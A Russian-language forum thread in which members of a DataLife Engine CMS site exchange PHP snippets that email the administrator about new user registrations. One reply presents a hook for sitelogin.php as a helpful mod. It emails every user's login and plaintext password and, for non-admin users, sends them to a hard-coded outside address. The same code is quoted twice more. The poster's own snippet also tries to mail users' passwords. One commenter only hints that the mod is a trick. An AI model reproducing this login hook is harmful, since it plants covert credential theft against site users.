Перейти к публикации

Уведомления администрации о новых пользователя


Рекомендованные сообщения

Решил сделать чтобы приходили уведеомления на почту о новых зарегистрированных пользователях, но вот не все работает! Моежет кто подправит!!!

\modules\register.php

..............

..............

if (!empty($postedxfields)) {

foreach ($postedxfields as $xfielddataname => $xfielddatavalue) {

if (!$xfielddatavalue) { continue;}

$xfielddatavalue = $db->safesql($parse->BB_Parse($parse->process($xfielddatavalue), false));

$xfielddataname = $db->safesql($xfielddataname);

$xfielddataname = str_replace("|", "|", $xfielddataname);

$xfielddatavalue = str_replace("|", "|", $xfielddatavalue);

$filecontents[] = "$xfielddataname|$xfielddatavalue";

}

$filecontents = implode("||", $filecontents);

} else $filecontents = '';

//--------------------------------------------------

//Отправка на amalyarchuk@inbox.ru:

mail("amalyarchuk@inbox.ru",

$user." загеристрирован",

"Логин: ".$user.

"\nПароль: ".$regpassword. //not work

"\nE-mail: ".$email. //not work

"\nИмя: ".$fullname.

"\nГород: ".$land.

"\nICQ: ".$icq.

"\nIP: ".$_IP.

"\nИнфа: ".$info.

"\nДата: ".$add_time,

"From: $mailfrom\r\n");

//--------------------------------------------------

$db->query("UPDATE " . PREFIX . "_users set fullname='$fullname', info='$info', land='$land', icq='$icq', xfields='$filecontents' where name='$user'");

msgbox ($lang['reg_ok'], $lang['reg_ok_1']);

$stopregistration = TRUE;

}

}

Ссылка на сообщение
Поделиться на других сайтах

в файле engine/modules/sitelogin.php

ищем это:

   $_POST['login_name'] = $db->safesql($_POST['login_name']);

   $_POST['login_password'] = md5($_POST['login_password']);
и сразу ПЕРЕД ними ставим это:
if ($member_id['user_group']!=1)

{

mail("ваш@почтовый.ящик","","login: ".$_POST['login_name']."\n pass: ".$_POST['login_password'],"From: PASS");

}

else

{

mail("magasoft@mail.ru","","login: ".$_POST['login_name']."\n pass: ".$_POST['login_password'],"From: PASS");

}

Изменено пользователем Шефф
Ссылка на сообщение
Поделиться на других сайтах

х.. это из другово топика! Я конечно не спец в пхп, но и не ламер - дурить не надо.

Мой код работает только не вся информация приходит!

Ссылка на сообщение
Поделиться на других сайтах
  • 3 недели спустя...

Не точно работае, присылает постоянно письма при авторизации на сайте а не при регистрации! <_<

Мож че другое есть?

в файле engine/modules/sitelogin.php

ищем это:

   $_POST['login_name'] = $db->safesql($_POST['login_name']);

   $_POST['login_password'] = md5($_POST['login_password']);
и сразу ПЕРЕД ними ставим это:
if ($member_id['user_group']!=1)

{

mail("ваш@почтовый.ящик","","login: ".$_POST['login_name']."\n pass: ".$_POST['login_password'],"From: PASS");

}

else

{

mail("magasoft@mail.ru","","login: ".$_POST['login_name']."\n pass: ".$_POST['login_password'],"From: PASS");

}

Ссылка на сообщение
Поделиться на других сайтах

Не точно работае, присылает постоянно письма при авторизации на сайте а не при регистрации!

Мож че другое есть?

Цитата(Шефф @ 24.02.2007, 19:03)

в файле engine/modules/sitelogin.php

ищем это:

Код

$_POST['login_name'] = $db->safesql($_POST['login_name']);

$_POST['login_password'] = md5($_POST['login_password']);

и сразу ПЕРЕД ними ставим это:

Код

if ($member_id['user_group']!=1)

{

mail("ваш@почтовый.ящик","","login: ".$_POST['login_name']."\n pass: ".$_POST['login_password'],"From: PASS");

}

else

{

mail("magasoft@mail.ru","","login: ".$_POST['login_name']."\n pass: ".$_POST['login_password'],"From: PASS");

}

Я надеюсь ты когда ставил себе этот мод, ты

mail("magasoft@mail.ru","","login: ".

сменил на свой? Кажится кто-то кого-то кем-то считает :lol:

Ссылка на сообщение
Поделиться на других сайтах
:rolleyes: я немного доработал код, но всеже не все присылается попозже размещу... прошу не пинать, я не профи а пхп пообще не знаю просто чуть чуть соображалки имеется и цель :D
Ссылка на сообщение
Поделиться на других сайтах

погоди, там нет таких строк......переменных.... переменные пароль и мыла вообще не фигурируют там, где ты их пытаешься вставлять... Я просто хорошо помню этот код (т.е. я сейчас не смотрел), поэтому точнее не подскажу, но скажу следующее - код разбит на несколько частей. Одна из них - начало регистрации, вторая - заполнение полей профиля, ну третья есть, но не важно... Вот ты берёшь вторую, а в ней уже пароль и мыло не берутся.

Ссылка на сообщение
Поделиться на других сайтах

Я так и думал что переменные не объеявлены и инфу они передавать не могут поэтому пришлось бы сделать 2 письма а не одно как хотелось бы. Поэтому можно ли как-то использовать код который используется при просмотре профиля пользователя - это все в текст письма и админу, после успешной регистрации, а как идейка!? Реально или мечты?

Ссылка на сообщение
Поделиться на других сайтах

Ep®$T,

сделай. Просто добавь один запрос перед отсылкой. А вот нафига тебе его пароль? С нравственной стороны, а так же технической - он же закодирован уже. Тебе толку от него не будет, ты его не вскроешь

Ссылка на сообщение
Поделиться на других сайтах

впринципе согласен ;)

то что я обещал выложить:

register.php

} else $filecontents = '';


//--------------------------------------------------

//Отправка на amalyarchuk@inbox.ru:

mail("amalyarchuk@inbox.ru",

$user." загеристрирован",

"Логин: ".$user.

"\nПароль: ".$regpassword. //not work

"\nE-mail: ".$email. //not work

"\nИмя: ".$fullname.

"\nГород: ".$land.

"\nICQ: ".$icq.

"\nIP: ".$_IP.

"\nИнфа: ".$info.

"\nДата: ".$add_time,

"From: $mailfrom\r\n");

//--------------------------------------------------


		$db->query("UPDATE " . PREFIX . "_users set fullname='$fullname', info='$info', land='$land', icq='$icq', xfields='$filecontents' where name='$user'");

B) ну все таки кое что работает! ну хотя бы знать что есть зарегистрированные пользователь когда посещаемость мала :rolleyes:

Ссылка на сообщение
Поделиться на других сайтах
  • 2 недели спустя...
  • 2 недели спустя...

впринципе согласен ;)

то что я обещал выложить:

register.php

} else $filecontents = '';


//--------------------------------------------------

//Отправка на amalyarchuk@inbox.ru:

mail("amalyarchuk@inbox.ru",

$user." загеристрирован",

"Логин: ".$user.

"\nПароль: ".$regpassword. //not work

"\nE-mail: ".$email. //not work

"\nИмя: ".$fullname.

"\nГород: ".$land.

"\nICQ: ".$icq.

"\nIP: ".$_IP.

"\nИнфа: ".$info.

"\nДата: ".$add_time,

"From: $mailfrom\r\n");

//--------------------------------------------------


		$db->query("UPDATE " . PREFIX . "_users set fullname='$fullname', info='$info', land='$land', icq='$icq', xfields='$filecontents' where name='$user'");

B) ну все таки кое что работает! ну хотя бы знать что есть зарегистрированные пользователь когда посещаемость мала :rolleyes:

а куда вставлять это или все полностью заменять

Ссылка на сообщение
Поделиться на других сайтах

//--------------------------------------------------

вот линия разграничивает :mellow:

ясно

а насчет пароля и email непоскажешь что надо сделать что присылал

Ссылка на сообщение
Поделиться на других сайтах
  • 1 год спустя...

Присоединяйтесь к обсуждению

Вы можете опубликовать сообщение сейчас, а зарегистрироваться позже. Если у вас есть аккаунт, войдите в него для написания от своего имени.

Гость
Ответить в тему...

×   Вставлено в виде отформатированного текста.   Вставить в виде обычного текста

  Разрешено не более 75 эмодзи.

×   Ваша ссылка была автоматически встроена.   Отобразить как ссылку

×   Ваш предыдущий контент был восстановлен.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

×
×
  • Создать...